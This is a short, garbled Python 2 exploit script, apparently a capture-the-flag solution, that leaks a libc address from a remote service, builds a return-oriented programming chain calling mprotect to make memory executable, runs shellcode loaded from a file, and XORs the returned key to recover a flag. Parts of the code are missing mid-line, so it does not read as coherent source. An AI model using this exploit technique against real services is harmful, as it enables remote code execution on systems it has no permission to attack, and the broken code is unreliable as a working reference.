#!/usr/bin/python import base64 import socket import struct import sys def readuntil(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def p(v): return struct.pack(' 256: set_xor_key(f2, payload[256:]) base64_decode_data(f1, False) read = u(f1.read(8)) libc_base = read - 0xf7470 print 'libc_base =', hex(libc_base) mprotect = libc_base + 0x101780 pop_rdx_rsi_ret = libc_base + 0x114c19 rop = '' rop += p(pop_rdx_rsi_ret) rop += p(7) rop += p(4096) rop += p(pop_rdi_ret) rop += p(g_state & ~0xfff) rop += p(mprotect) rop += p(g_state + len(rop) + 8) rop += open('read_key.bin').read() f1.write(rop) readuntil(f1, '\nOK\n') print 'got connection' key = f1.read() print ''.join(chr(ord(x)^ord(y)) for x, y in zip(key, encrypted_flag))